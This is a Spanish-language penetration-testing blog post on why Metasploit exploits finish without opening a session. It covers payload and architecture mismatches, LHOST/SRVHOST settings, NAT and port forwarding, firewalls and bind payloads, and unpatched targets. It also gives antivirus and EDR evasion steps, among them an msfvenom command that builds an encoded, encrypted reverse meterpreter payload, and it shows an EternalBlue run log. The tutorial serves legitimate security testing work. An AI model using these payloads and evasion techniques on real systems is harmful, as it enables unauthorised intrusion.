¿Por qué tu Exploit se Completó, pero no se Creó una Sesión? Soluciones…

Cuando usas el Metasploit Framework, puede ser bastante desconcertante intentar averiguar por qué tu exploit falló. Todo lo que ves es un mensaje de error en la consola que dice “Exploit completed, but no session was created” (Exploit completado, pero no se creó ninguna sesión).

Puede haber muchas razones detrás de este problema y en esta publicación del blog analizaremos las posibles causas de estos errores y proporcionaremos soluciones sobre cómo solucionarlo.

El error “Exploit completed, but no session was created” es común al usar exploits como:

• exploit/windows/smb/psexec
• exploit/multi/http/tomcat_mgr_upload
• exploit/windows/smb/ms08_067_netapi
• exploit/windows/smb/ms17_010_eternalblue (EternalBlue)
• exploit/windows/rdp/cve_2019_0708_bluekeep_rce (BlueKeep)
• exploit/windows/smb/smb_doublepulsar_rce (DoublePulsar)
• exploit/multi/http/apache_mod_cgi_bash_env_exec (Shellshock)

En realidad, puede suceder prácticamente con cualquier exploit donde seleccionamos una carga útil (payload) para crear una sesión, por ejemplo, reverse shell, meterpreter shell, etc.

Aquí están las razones más comunes por las que esto podría estarte sucediendo y las soluciones para arreglarlo.

Razón 1: Incompatibilidad de la Arquitectura del Exploit y la Carga Útil

Una de las razones comunes por las que no se crea una sesión es que podrías estar mezclando el ID del objetivo del exploit y la arquitectura de la carga útil. Por ejemplo, estás explotando un sistema de 64 bits, pero estás usando una carga útil para arquitectura de 32 bits.

Un ejemplo típico es el uso de módulos de bypass de UAC, por ejemplo, usando el módulo bypassuac_injection y seleccionando la arquitectura de objetivo Windows x64 (set target 1). Luego, como carga útil, seleccionas una carga útil de 32 bits como payload/windows/shell/reverse_tcp.

Esto simplemente no funcionará correctamente y es probable que veamos errores de “Exploit completed, but no session was created” en estos casos.

Solución

Asegúrate siempre de estar seleccionando el ID de objetivo correcto en el exploit y la carga útil adecuada para el sistema objetivo.

Realiza un reconocimiento exhaustivo de antemano para identificar la versión del sistema objetivo lo mejor posible. Luego, sé consistente en tu selección de exploit y carga útil.

Razón 2: Desajuste en LHOST / SRVHOST

Algunos exploits pueden ser bastante complicados. Requieren no solo el valor RHOST (host remoto), sino a veces también SRVHOST (host del servidor). Y luego está la carga útil con el valor LHOST (host local) en caso de que estemos usando algún tipo de carga útil de conector inverso (por ejemplo, meterpreter/reverse_tcp).

Puede ser bastante fácil cometer errores y esto siempre resultará en ver el error “Exploit completed, but no session was created” si cometemos un error aquí.

Solución

Vamos a desglosar estas opciones para que entendamos perfectamente para qué son y cómo asegurarnos de usarlas correctamente:

• RHOSTS: Esto especifica el host objetivo que estamos tratando de explotar. Este siempre va a ser el host objetivo remoto (a menos que intentemos explotarnos a nosotros mismos) y puede especificarse como un nombre de host, dirección IP, rango de red CIDR (x.x.x.x/mask) o un archivo de hosts (file:/ruta/al/archivo).
• SRVHOST: Esto también es parte de la especificación del exploit, pero solo para algunos exploits (por ejemplo, apache_druid_js_rce). En prácticamente todos estos exploits, esto tiene que apuntar a nuestra propia máquina, porque tenemos que servir algo para que el sistema objetivo lo recupere y así explotarlo. Por lo tanto, esta debe ser una dirección de nuestra propia máquina.
• LHOST: Ahora, esto es parte de la especificación de la carga útil, no del exploit. Esto es aplicable a todas las cargas útiles inversas y se espera que apunte nuevamente a nuestra propia máquina.

Como regla general, si un exploit tiene la opción SRVHOST, entonces debemos proporcionar la misma dirección IP en SRVHOST y en el LHOST (carga útil inversa), porque en el 99% de los casos ambos deben apuntar a nuestra propia máquina.

Entonces, en este caso, la solución es realmente simple: asegúrate de que las direcciones IP que estás proporcionando en SRVHOST y LHOST sean las mismas y que pertenezcan a tu propia máquina.

Por supuesto, no uses la dirección localhost (127.0.0.1). Usa una dirección IP donde el sistema objetivo(s) pueda alcanzarte, por ejemplo, la dirección IP configurada en tu eth0 (Ethernet), wlan0 / en0 (Inalámbrico), tun0 / tap0 (VPN) o una interfaz de red real similar.

Razón 3: Estás Detrás de un NAT

Depende de tu configuración, podrías estar ejecutando una máquina virtual (por ejemplo, VMware, VirtualBox o similar) desde donde estás realizando la prueba de penetración. Tal vez descargaste una imagen de VM de Kali Linux y la estás ejecutando en tu PC local en una máquina virtual.

Ahora bien, la forma en que funciona la red en las máquinas virtuales es que, por defecto, se configura como NAT (Traducción de direcciones de red).

Esto significa que los sistemas objetivo que estás intentando explotar no pueden contactarte, porque tu VM está oculta detrás de la máscara NAT. La siguiente imagen ilustra:

Una situación muy similar se da cuando estás probando desde tu red local de trabajo o doméstica (LAN) y estás realizando una prueba de penetración en algo a través de Internet. El sistema objetivo remoto simplemente no puede alcanzar tu máquina, porque estás oculto detrás de NAT.

Cabe destacar que este problema solo se aplica si estás utilizando payloads inversos (por ejemplo, meterpreter/reverse_https) en tus exploits. Los payloads de tipo de enlace (binding) deberían funcionar correctamente incluso si estás detrás de NAT.

Solución 1: Red puenteada

En caso de realizar pruebas de penetración desde una VM, configura tu red virtual como puenteada o bridged. Esto expondrá tu VM directamente a la red.

Aquí hay un ejemplo de cómo hacerlo en UTM en Mac OS. Debería funcionar rápidamente sin necesidad de reiniciar tu VM. Para VMware y VirtualBox es el mismo caso.

Tu VM de Kali, o cualquier otra distro que uses para pruebas de seguridad, debería configurarse automáticamente con la misma o similar dirección IP que tu sistema operativo host (en caso de que tu administrador de red esté funcionando y haya un servidor DHCP en tu red).

Verifica con los comandos ipconfig o ip addr para ver tu dirección IP actualmente configurada en la VM y luego usa esa dirección en tus payloads (LHOST).

Solución 2: Reenvío de puertos

Otra solución podría ser configurar un reenvío de puertos en el sistema host (tu PC) y reenviar todo el tráfico entrante en el puerto, por ejemplo, 4444 a tu VM en el puerto 4444.

Aquí te explicamos cómo realizar el reenvío de puertos con socat, por ejemplo:

socat -d -d TCP4-LISTEN:<HOST-IP-ADDRESS>:4444,reuseaddr,fork TCP4:<VM-IP-ADDRESS>:4444

Socat es una utilidad de red notablemente versátil y está disponible en todas las plataformas principales, incluidas Linux, Windows y Mac OS.

https://github.com/3ndG4me/socat

Con esta solución, deberías poder usar la dirección IP de tu host como la dirección en tus payloads inversos (LHOST) y deberías recibir sesiones.

Ten en cuenta que si estás usando un exploit con la opción SRVHOST, debes configurar dos reenvíos de puertos independientes.

Solución 3: Reenvío de puertos usando IP pública

Esto se aplica al segundo escenario donde estamos realizando una prueba de penetración en algo a través de Internet desde una LAN doméstica o de trabajo.

Existen servicios en la nube que te permiten configurar un reenvío de puertos usando direcciones IP públicas. Aquí tienes una lista de algunos populares:

• Ngrok.com
• Portmap.io
• Pagekite.net

Todos estos servicios en la nube ofrecen un reenvío de puertos básico de forma gratuita (después de registrarse) y deberías poder recibir sesiones de meterpreter o shell usando cualquiera de estas soluciones.

Después de configurarlo, puedes usar la dirección IP pública asignada y el puerto en tu payload inverso (LHOST).

Ten en cuenta que si estás usando un exploit con la opción SRVHOST, debes configurar dos reenvíos de puertos independientes.

Razón 4: Política de Firewall Restrictiva

Otra razón común por la que no se crea ninguna sesión durante una explotación es que hay un firewall bloqueando el tráfico de red necesario para establecer la sesión. Este firewall podría ser:

• Firewall basado en host que se ejecuta en el sistema objetivo
• Firewall(es) de red en cualquier lugar dentro de la red

En las redes corporativas, puede haber muchos firewalls entre nuestra máquina y el sistema objetivo, bloqueando el tráfico.

Supongamos que hemos seleccionado un payload para conexión inversa (por ejemplo, meterpreter/reverse_https) en nuestro exploit.

El problema podría ser que uno de los firewalls esté configurado para bloquear cualquier conexión saliente proveniente del sistema objetivo.

De hecho, esta es una práctica de endurecimiento de seguridad de red muy común. Los controles de seguridad de red en muchas organizaciones están estrictamente segregados, siguiendo correctamente el principio de privilegio mínimo.

Por ejemplo, solo permiten conexiones entrantes a los servidores en puertos cuidadosamente seleccionados, mientras que deshabilitan todo lo demás, incluidas las conexiones salientes que se originan en los servidores. Esto, por supuesto, dificultaría cualquier intento de nuestras shells inversas.

Solución

Una cosa que podríamos intentar es usar un payload de enlace en lugar de conectores inversos. Por ejemplo, podríamos intentar algunos de estos:

• shell/bind_tcp
• shell/bind_tcp_rc4
• meterpreter/bind_tcp
• meterpreter/bind_tcp_rc4

Los payloads de enlace funcionan abriendo un listener de red en el sistema objetivo y Metasploit se conecta automáticamente a él.

Un buen indicador de que este enfoque podría funcionar es cuando el sistema objetivo tiene algunos puertos cerrados, lo que significa que hay puertos que rechazan la conexión devolviendo un paquete TCP RST hacia nosotros cuando intentamos conectarnos a ellos.

Si hay un TCP RST que regresa, es una indicación de que el puerto de red remoto está bien expuesto a nivel del sistema operativo y que no hay un firewall que filtre (bloquee) las conexiones a ese puerto.

Aquí te explicamos cómo podemos comprobar si un puerto remoto está cerrado usando netcat:

# nc -nvz 192.168.51.1 4444
(UNKNOWN) [192.168.51.1] 4444 (?) : Connection refused

Esto es exactamente lo que queremos ver. Ahora sabemos que podemos usar el puerto 4444 como el puerto de enlace para nuestro payload (LPORT).

Razón 5: Matado por Antivirus/EDR

Otra razón común del error “Exploit completed, but no session was created” es que el payload fue detectado por el AV (Antivirus) o un EDR (Endpoint Detection and Response) que se ejecutan en la máquina objetivo.

Solución

Ofuscar, ofuscar, ofuscar. Leer: Ofuscación de Código: Técnicas de Ofuscación para Ocultarlo

La ofuscación es, obviamente, un tema muy amplio: hay innumerables formas de intentar evadir la detección de AV.

Usar los siguientes consejos podría ayudarnos a hacer que nuestro payload sea un poco más difícil de detectar desde el punto de vista del AV.

Consejo 1: Codificación de payloads (msfvenom)

Mientras generamos el payload con msfvenom, podemos usar varios codificadores e incluso cifrado para ofuscar nuestro payload.

Aquí tienes un ejemplo usando 10 iteraciones del codificador shikata_ga_nai para codificar nuestro payload y también usando el cifrado aes256 para cifrar el shellcode interno:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.2.2 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 10 --encrypt aes256 --encrypt-iv 1234123456785678 --encrypt-key abcdefghabcdefgh1234123456785678 -o payload.bin

Ahora podríamos usar el archivo ‘payload.bin‘ como un payload personalizado genérico en nuestro exploit.

También puedes verificar otras opciones de codificación y cifrado ejecutando:

msfvenom --list encoders
msfvenom --list encrypt

Consejo 2: Codificación de etapas (msfconsole)

Cuando abrimos una shell o una sesión de meterpreter, hay ciertos bytes específicos y fácilmente identificables que se transmiten a través de la red mientras la etapa del payload se envía y se ejecuta en el objetivo.

Para hacer que las cosas sean más difíciles de detectar, podemos intentar ofuscar la etapa habilitando la codificación de etapas (set EnableStageEncoding true) en la msfconsole y seleccionando un codificador (set StageEncoder ..) para codificar la etapa. Por ejemplo:

msf6 exploit(..) > show advanced
msf6 exploit(..) > set EnableStageEncoding true
msf6 exploit(..) > set StageEncoder x86/shikata_ga_nai
msf6 exploit(..) > run

Esto puede ayudar aún más a evadir la solución AV o EDR que se ejecuta en el sistema objetivo, o posiblemente incluso un NIDS que se ejecuta en la red, y dejar pasar la shell/sesión de meterpreter.

Consejo 3: Migrar de shell a meterpreter

Digamos que quieres establecer una sesión de meterpreter con tu objetivo, pero no tienes éxito. Digamos que encontraste una forma de establecer al menos una sesión de shell inversa. ¿No sería genial poder actualizarla a meterpreter?

Resulta que hay un módulo shell_to_meterpreter que puede hacer precisamente eso.

Aquí te explicamos cómo usarlo:

Una vez que hayas establecido una sesión de shell con tu objetivo, presiona Ctrl+Z para poner la shell en segundo plano y luego usa el módulo anterior:

C:\> ^Z
msf6 exploit(..)> use post/multi/manage/shell_to_meterpreter
msf6 post(..)> session -l
msf6 post(..)> set session 1        (seleccionar la sesión en segundo plano)
msf6 post(..)> run

Eso es todo. Ahora deberías tener la sesión de shell actualizada a meterpreter.

Razón 6: El Exploit No es Confiable

Los exploits son, por naturaleza, piezas de software poco confiables e inestables. En realidad, es un pequeño milagro cada vez que un exploit funciona, por lo que producir un exploit confiable y estable es realmente un logro notable. Especialmente si tenemos en cuenta toda la diversidad que existe en el mundo.

Por esta razón, admiro mucho a todos los autores de exploits que están contribuyendo para hacernos a todos más seguros (Puedes usar SearchSploit o Findsploit para encontrar exploits). Aunque los autores seguramente hacen todo lo posible, simplemente no siempre es posible lograr una confiabilidad del 100% y no debemos sorprendernos si un exploit falla y no se crea ninguna sesión.

A veces, el exploit incluso puede bloquear el sistema objetivo remoto, como en este ejemplo:

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.215.6:4444
[*] 10.10.17.8:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.17.8:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.17.8:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.17.8:445 - Connecting to target for exploitation.
[+] 10.10.17.8:445 - Connection established for exploitation.
[+] 10.10.17.8:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.17.8:445 - CORE raw buffer dump (48 bytes)
[*] 10.10.17.8:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp
[*] 10.10.17.8:445 - 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63 rise 7601 Servic
[*] 10.10.17.8:445 - 0x00000020 65 20 50 61 63 6b 20 31 20 78 36 34 20 20 20 20 e Pack 1 x64
[+] 10.10.17.8:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.17.8:445 - Trying exploit with 10 Groom Allocations.
[*] 10.10.17.8:445 - Sending all but last fragment of exploit packet
[-] 10.10.17.8:445 - RubySMB::Error::CommunicationError: An error occurred reading from the Socket Connection reset by peer
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/ms17_010_eternalblue) >

Observa el mensaje “Connection reset by peer” que indica que ya no es posible conectarse al objetivo remoto. El sistema probablemente se bloqueó con un BSOD y ahora se está reiniciando.

Solución

Lo que puedes hacer es intentar usar diferentes versiones del exploit. Puedes intentar actualizar o degradar tu Metasploit Framework. Por ejemplo, si estás trabajando con MSF versión 5 y el exploit no funciona, intenta instalar MSF versión 6 e inténtalo desde allí.

De manera similar, si estás ejecutando MSF versión 6, intenta degradar a MSF versión 5. Podría haber diferencias que pueden significar un mundo. A veces ayuda (enlace).

También podrías buscar en otra parte el exploit y explotar la vulnerabilidad manualmente fuera de la msfconsole de Metasploit. Siempre puedes generar un payload usando msfvenom y agregarlo al exploit manual y luego capturar la sesión usando multi/handler.

Razón 7: El Objetivo está Parcheado

La última razón por la que no se crea ninguna sesión es simple y llanamente que la vulnerabilidad no está allí. El sistema ha sido parcheado. El escáner está equivocado. Puede suceder. Simplemente no siempre puedes confiar al 100% en estas herramientas.

Solución

Si quieres estar seguro, tienes que investigar y realizar una exploración exhaustiva y detallada. ¿Es realmente vulnerable el sistema objetivo?

A veces tienes que profundizar tanto que tienes que mirar el código fuente del exploit e intentar entender cómo funciona. Dónde está la vulnerabilidad. ¿Está realmente ahí en tu objetivo? También puedes leer avisos y escritos sobre vulnerabilidades.

Metasploit Framework es un proyecto de código abierto, por lo que siempre puedes mirar el código fuente. La biblioteca de módulos de Metasploit en este sitio web te permite acceder fácilmente al código fuente de cualquier módulo o exploit.

Por último, también puedes intentar usar los siguientes consejos para solucionar problemas.

Consejos para Solucionar Problemas

Aquí tienes un par de consejos que pueden ayudarte a solucionar problemas no solo con “Exploit completed, but no session was created“, sino también con otros problemas relacionados con el uso de la msfconsole de Metasploit en general.

Aumentar el registro

Hay una opción global LogLevel en la msfconsole que controla la verbosidad de los registros. Puedes establecer el valor entre 1 y 5:

msf6 exploit(..) > setg LogLevel 5

Comprobar los registros de Metasploit

Echa un vistazo al archivo de registro de Metasploit después de que ocurra un error para ver qué está pasando:

cat ~/.msf4/logs/framework.log

Información de diagnóstico rápida

Cuando se produce un error, como cualquier comportamiento inesperado, puedes obtener rápidamente información de diagnóstico ejecutando el comando debug en la msfconsole:

[*] Exploit completed, but no session was created.
msf6 exploit(..) > debug

Esto imprimirá información potencialmente útil, incluyendo un fragmento del propio archivo de registro de Metasploit.

Resumen

Espero que esta publicación haya proporcionado al menos algunos consejos para solucionar problemas de intentos de exploits fallidos en Metasploit y te haya equipado con consejos prácticos sobre cómo solucionarlos.

Si esta publicación te ha resultado útil y quieres más consejos como este, considera suscribirte a nuestra lista de correo y seguirnos en Instagram, Twitter o Facebook para que se te notifique automáticamente sobre el nuevo contenido.